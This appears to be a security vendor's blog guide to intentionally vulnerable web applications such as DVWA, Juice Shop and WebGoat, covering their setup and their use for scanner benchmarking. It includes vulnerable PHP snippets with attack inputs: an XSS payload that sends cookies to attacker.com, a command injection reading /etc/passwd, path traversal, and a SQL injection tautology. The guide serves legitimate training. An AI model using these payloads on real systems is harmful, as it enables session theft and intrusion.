Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
Application Security

Intentionally Vulnerable Web Applications: Complete 2026 Guide

Complete guide to intentionally vulnerable web applications: DVWA, Juice Shop, WebGoat & more — setup commands, vulnerability coverage, and how to use them for scanner benchmarking.

Offensive360 Security Research Team — min read
intentionally vulnerable web applications vulnerable web application vulnerable web applications deliberately vulnerable web app DVWA OWASP Juice Shop WebGoat security testing practice vulnerable websites for testing vulnerable web app for testing ethical hacking practice web application security testing

Intentionally vulnerable web applications are purpose-built tools used by security professionals, developers, and researchers to practice finding and exploiting security weaknesses in a legal, isolated environment. Unlike real-world targets, they are designed to fail under attack — making them the standard training ground for anyone learning web application security, preparing for a penetration testing certification, or benchmarking a SAST or DAST scanner.

This guide covers every major intentionally vulnerable web application available in 2026: what vulnerabilities each one contains, who it’s built for, and how to get it running in Docker. It also covers the professional use case most people overlook: using these applications to verify your security scanner actually works before pointing it at production code.


Why Intentionally Vulnerable Applications Exist

You cannot legally or safely practice web attacks against real applications without explicit authorization. Even testing your own production application carries risk — security probes can trigger outages, corrupt data, and set off security alerts in ways that are hard to predict.

Intentionally vulnerable web applications solve this problem completely:

  • Legal to attack — they exist specifically to be exploited
  • Isolated — typically a Docker container running on your local machine
  • Resettable — restart the container to restore clean state instantly
  • Educational — most include documentation explaining why each vulnerability exists
  • Representative — the vulnerability classes are identical to those found in real production code

There are three primary professional use cases:

1. Security training and skill development
Developers and security engineers learn how SQL injection, cross-site scripting, broken authentication, and other attacks work from an attacker’s perspective — building the pattern recognition needed to avoid writing the same bugs in production code.

2. SAST and DAST scanner benchmarking
Before deploying a security scanner on real code, you should verify it can detect known vulnerabilities in a controlled environment. If your SAST tool can’t find SQL injection in DVWA’s low.php — where the vulnerability is completely unobfuscated — it will miss similar patterns in your production codebase.

3. Certification preparation
OSCP, CEH, GWAPT, eWPT, and other hands-on security certifications require demonstrating practical exploitation skills. Intentionally vulnerable web applications provide unlimited legal practice targets.


The Most Important Intentionally Vulnerable Web Applications

DVWA (Damn Vulnerable Web Application)

Language: PHP / MySQL
Best for: OWASP Top 10 fundamentals, PHP SAST benchmarking, beginners

DVWA is the most widely deployed intentionally vulnerable web application in the world. It’s a PHP application with MySQL backend where every vulnerability page shows the source code at three difficulty levels — Low (completely unobfuscated), Medium (basic evasion), and High (near-production patterns). This makes it uniquely valuable for learning: you can see exactly what makes code vulnerable at each difficulty level.

Vulnerabilities:

  • SQL Injection (manual and boolean-based blind)
  • Command Injection
  • Cross-Site Scripting (Reflected and Stored)
  • Cross-Site Request Forgery (CSRF)
  • File Inclusion (Local and Remote — LFI/RFI)
  • Unrestricted File Upload
  • Brute Force (with and without CAPTCHA)
  • Weak Session IDs
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Open: http://localhost/
# Credentials: admin / password
# First step: click "Create / Reset Database"

Why it matters for SAST benchmarking: Clone the DVWA GitHub repository and run your SAST scanner against the source. Then check whether the scanner flags:

  • SQL injection in vulnerabilities/sqli/source/low.php
  • Command injection in vulnerabilities/exec/source/low.php
  • File inclusion in vulnerabilities/fi/source/low.php

Any SAST tool that fails to flag the low.php files — where vulnerabilities are completely unobfuscated — is not ready for your production PHP codebase.


OWASP Juice Shop

Language: Node.js / Express / Angular
Best for: Realistic DAST testing, modern web architecture, CTF events

OWASP Juice Shop is the most realistic intentionally vulnerable web application available. It’s a fully functional e-commerce single-page application — complete with a product catalog, shopping cart, user authentication, admin panel, and REST API — that happens to be riddled with over 100 security vulnerabilities.

Unlike DVWA’s teaching-oriented UI, Juice Shop looks like a real application. This is its key advantage for DAST testing: it has the same authenticated session handling, JWT-based API authentication, file upload endpoints, and complex navigation that you’d find in a production web application.

Vulnerabilities (selected):

  • SQL Injection (login, search, product API)
  • NoSQL Injection (MongoDB query operators)
  • JWT algorithm confusion (alg: none, RS256→HS256)
  • IDOR / BOLA (basket, order, user endpoints)
  • Stored and Reflected XSS
  • DOM-based XSS
  • XXE (XML upload endpoint)
  • SSRF
  • Insecure deserialization (coupon manipulation)
  • CORS misconfiguration
  • Missing security headers
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Open: http://localhost:3000/
# Scoreboard: http://localhost:3000/#/score-board

CTF mode: Juice Shop supports CTF mode for team training exercises. Each solved challenge generates a flag token that integrates with CTFd and similar platforms.

DAST benchmarking: Before scanning your production application with a DAST tool, scan a local Juice Shop instance. Verify the scanner finds at minimum:

  • SQL injection in the login form and search endpoint
  • Reflected XSS in search results
  • Missing Content-Security-Policy header
  • Open redirect in the navigation

A DAST tool that misses these obvious, well-documented vulnerabilities in Juice Shop is not ready for your production application.


WebGoat

Language: Java / Spring
Best for: Java developer training, Java SAST benchmarking, guided learning

WebGoat is OWASP’s Java-based security training application. Each lesson includes a vulnerability explanation, an interactive lab where you must successfully exploit the vulnerability to proceed, and documentation on the fix. It’s more structured than DVWA or Juice Shop — designed for step-by-step learning rather than open-ended exploration.

Vulnerabilities (selected):

  • SQL Injection (including order-by injection, blind injection)
  • Cross-Site Scripting
  • Insecure Deserialization (Java ObjectInputStream)
  • JWT attacks (forging tokens, weak signing)
  • Path Traversal
  • XXE injection
  • SSRF
  • Access control failures
  • Cryptographic failures
docker run -it -p 8080:8080 -p 9090:9090 webgoat/webgoat
# Open: http://localhost:8080/WebGoat
# Register a new account to start lessons

Why it matters for Java SAST: WebGoat’s Spring MVC source code contains the same vulnerability patterns found in enterprise Java applications. Clone it and run your SAST scanner to verify it handles:

  • JDBC executeQuery() with string concatenation
  • Spring MVC @RequestParam as a taint source
  • Insecure ObjectInputStream.readObject() deserialization

bWAPP (Buggy Web Application)

Language: PHP
Best for: Maximum vulnerability breadth, advanced practitioners

bWAPP covers over 100 vulnerability types — more than any other single intentionally vulnerable application. If you need exposure to vulnerability classes beyond the OWASP Top 10, bWAPP is the most comprehensive single source.

Unique coverage:

  • SSRF (Server-Side Request Forgery) scenarios
  • LDAP injection
  • SMTP header injection
  • XML and XPath injection
  • HTML5 security issues (localStorage, WebSocket attacks)
  • Simulated Heartbleed and Shellshock
  • iFrame injection and clickjacking
  • HTML injection (separate from XSS)
docker run -d -p 80:80 raesene/bwapp
# Open: http://localhost/bWAPP/install.php (run once)
# Login: http://localhost/bWAPP/login.php
# Credentials: bee / bug

NodeGoat

Language: Node.js / Express / MongoDB
Best for: Node.js SAST benchmarking, JavaScript-specific vulnerabilities

NodeGoat is OWASP’s intentionally vulnerable Node.js application. Where Juice Shop’s Node.js backend is complex and Angular-heavy, NodeGoat uses straightforward Express.js patterns — closer to what a typical Node.js API looks like in production.

Node.js-specific vulnerabilities:

  • NoSQL injection via MongoDB query operator manipulation ($gt, $ne, $where)
  • Server-side JavaScript injection via unsafe eval() usage
  • Prototype pollution
  • Insecure Express.js session configuration
  • Dependency vulnerabilities (intentionally outdated npm packages with known CVEs)
  • Missing HTTP security headers
git clone https://github.com/OWASP/NodeGoat
cd NodeGoat
npm install
docker-compose up
# Open: http://localhost:4000/
# Default credentials: admin / Admin_123

Why it matters for Node.js SAST: NodeGoat’s standard Express patterns are the right benchmark for SAST tools targeting Node.js APIs. Juice Shop’s architectural complexity can obscure detection gaps that NodeGoat’s simpler patterns will clearly expose.


AltoroJ (Altoro Mutual)

Language: Java / JSP
Best for: Banking application simulation, enterprise DAST testing

AltoroJ is a vulnerable Java/JSP banking application originally developed by IBM for security tool testing. Its simulated banking portal — with account transfers, transaction history, user management, and loan application functionality — provides a more realistic business context than tutorial-style applications.

git clone https://github.com/AppSecDev/AltoroMutual
cd AltoroMutual
mvn package
java -jar target/altoromutual.war
# Open: http://localhost:8080/
# Credentials: admin / admin

When to use it: AltoroJ is the standard benchmark for enterprise DAST tools in the financial sector. It provides more realistic test scenarios (multi-step financial transactions, account pivot attacks) than general-purpose vulnerable applications.


OWASP Mutillidae II

Language: PHP
Best for: OWASP Top 10 coverage, REST/SOAP API vulnerabilities, intermediate learners

Mutillidae II is a deliberately vulnerable PHP application with 40+ vulnerability categories organized by the OWASP Top 10. It goes beyond DVWA in covering web services and some REST API security scenarios.

docker run -d -p 80:80 -p 3306:3306 webpwnized/mutillidae
# Open: http://localhost/

Choosing the Right Application for Your Goal

Different intentionally vulnerable applications serve different purposes. Using the right one for your goal matters:

GoalBest ApplicationWhy
Complete beginner — learn OWASP Top 10DVWA (Low difficulty)Source code visible, structured levels
Realistic DAST benchmarkingOWASP Juice ShopModern SPA + REST API architecture
Java developer security trainingWebGoatGuided lessons, Java Spring patterns
PHP SAST benchmarkingDVWAUnobfuscated PHP vulnerability patterns
Java SAST benchmarkingWebGoatSpring MVC taint analysis test cases
Node.js SAST benchmarkingNodeGoatStandard Express.js vulnerability patterns
Maximum vulnerability breadthbWAPP100+ vulnerability categories
Banking/financial application simulationAltoroJMulti-step transaction vulnerability chains
CTF-style challenges with scoreboardOWASP Juice ShopBuilt-in scoreboard, hint system, CTF mode
Advanced real-world challenge patternsHackTheBox web challengesReal CVE-style vulnerabilities

Security Scanner Benchmarking: The Professional Use Case

The most underutilized application of intentionally vulnerable web apps is scanner benchmarking before production deployment. This is how security professionals verify that their tools actually work.

Benchmarking a SAST Tool

What to test:

Clone the source code of DVWA, WebGoat, or NodeGoat from GitHub and run your SAST scanner against it. Then check:

  1. Does it find SQL injection in dvwa/vulnerabilities/sqli/source/low.php?
    • If not, it will miss SQL injection in your production PHP code
  2. Does it find command injection in dvwa/vulnerabilities/exec/source/low.php?
    • This is OWASP A03 — injection — at zero obfuscation level
  3. Does it find the Java SQL injection across methods in WebGoat?
    • This tests interprocedural taint tracking — the most important SAST capability

Interpreting results:

  • A SAST tool that finds all Low-difficulty vulnerabilities but misses Medium/High is a pattern matcher, not a taint-analysis engine
  • A SAST tool that misses Low-difficulty findings entirely is not worth deploying on production code
  • A SAST tool that produces dozens of false positives on known-safe code (the High-difficulty pages use parameterized queries) will waste your team’s time on triage

Benchmarking a DAST Tool

What to test:

Run Juice Shop or DVWA in Docker locally and point your DAST scanner at it:

# Start Juice Shop
docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop

# Wait for it to start
sleep 15

# Verify it's running
curl -s http://localhost:3000/ | head -5

Configure the DAST scanner with authentication:

  • For Juice Shop: register a test account, configure scanner to log in before scanning
  • For DVWA: use credentials admin/password and configure session handling

Minimum findings any DAST tool should detect in Juice Shop:

  • SQL injection in the login form
  • Reflected XSS in the product search endpoint
  • Missing Content-Security-Policy header
  • Missing X-Content-Type-Options: nosniff header
  • CORS misconfiguration (wildcard policy on API endpoints)

A DAST tool that misses the login form SQL injection — the most obvious, well-documented, and deliberately unobfuscated SQL injection in a purpose-built test target — is not ready for your production application.


Common Vulnerabilities in Intentionally Vulnerable Applications (and in Production Code)

Every vulnerability class covered in these practice applications maps directly to vulnerabilities found in real enterprise codebases. These are not theoretical — they are the same patterns security engineers find in production assessments every week.

SQL Injection (CWE-89)

// DVWA low.php — completely unobfuscated
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

// Attack: ?id=1' OR '1'='1
// Result: returns all users

This exact pattern — $_GET parameter concatenated directly into a SQL query — appears in legacy PHP applications, WordPress custom plugins, and ASP.NET applications using SqlCommand with string concatenation.

Cross-Site Scripting (CWE-79)

// Reflected XSS — user input echoed without encoding
echo "<pre>Hello " . $_GET['name'] . "</pre>";

// Attack: ?name=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
// Result: victim's session cookie sent to attacker

Stored XSS follows the same pattern but the payload is saved to a database and executed when any user views the content — forums, product reviews, support tickets, CRM notes.

Command Injection (CWE-78)

// DVWA exec/source/low.php
$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);

// Attack: ip=127.0.0.1; cat /etc/passwd
// Result: /etc/passwd content returned in response

Path Traversal (CWE-22)

// User-controlled filename without path validation
$file = $_GET['page'];
include('/var/www/html/' . $file);

// Attack: ?page=../../../../etc/passwd
// Result: system file contents disclosed

Broken Authentication

JWT vulnerabilities in Juice Shop represent real patterns found in production APIs:

  • alg: none — accepting unsigned JWTs
  • RS256 → HS256 confusion — using a public key as an HMAC secret
  • Weak JWT secrets — brute-forceable with common wordlists

These exact vulnerabilities have been found in production financial APIs, healthcare systems, and enterprise SaaS platforms.


Setting Up a Local Security Testing Lab

If you’re serious about security testing practice, run 2–3 intentionally vulnerable applications simultaneously in Docker:

# Start DVWA (PHP/MySQL vulnerabilities)
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

# Start Juice Shop (Node.js/modern SPA vulnerabilities)
docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop

# Start WebGoat (Java/Spring vulnerabilities)
docker run -d -p 8080:8080 -p 9090:9090 --name webgoat webgoat/webgoat

# Verify all are running
docker ps

With all three running, you have:

  • A PHP application for SQL injection, command injection, LFI, and XSS practice
  • A modern Node.js SPA for JWT attacks, API IDOR, and realistic DAST testing
  • A Java/Spring application for deserialization, path traversal, and Java-specific patterns

This setup also supports running SAST tools against three different language codebases and DAST tools against three different running applications — a complete scanner benchmarking environment.


Frequently Asked Questions

Yes — provided you run them in your own isolated environment (a local Docker container, private VM, or air-gapped lab). These applications are explicitly built to be attacked. Never point your security testing tools at applications running on shared or production infrastructure without explicit written authorization.

Which intentionally vulnerable web application is best for a beginner?

Start with DVWA at Low difficulty. The source code viewer shows exactly what makes each page vulnerable, and the three difficulty levels provide a natural progression. Once you can identify and exploit all vulnerability categories at Medium difficulty, move to OWASP Juice Shop for a more realistic challenge.

Can I use these applications to prepare for OSCP?

Intentionally vulnerable web applications are useful supplementary practice for OSCP’s web exploitation modules. OSCP focuses primarily on network exploitation, privilege escalation, and Active Directory. For web-specific certifications (eWPT, GWAPT), PortSwigger Web Security Academy (free, browser-based) is more targeted preparation.

Do intentionally vulnerable applications work with automated security tools?

Yes — this is one of their primary professional uses. DVWA and WebGoat are standard SAST benchmarks. Juice Shop and AltoroJ are standard DAST benchmarks. Running your security tools against these applications before deploying them on production code is standard practice in any serious security program.

How much RAM do I need to run these applications?

Most Docker-based vulnerable applications run comfortably on any machine with 4 GB of RAM available for Docker:

  • DVWA: ~256 MB
  • Juice Shop: ~512 MB
  • WebGoat: ~1 GB
  • bWAPP: ~256 MB

Running all of them simultaneously requires roughly 2 GB of RAM allocated to Docker.


Benchmark Your Security Scanner

Testing your SAST or DAST tool against intentionally vulnerable applications before deploying it on production code is the most reliable way to verify scanner effectiveness. A tool that can’t find SQL injection in DVWA’s low.php will not find similar patterns in your production codebase.

Offensive360 SAST and DAST are benchmarked against DVWA, Juice Shop, and WebGoat on every release:

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.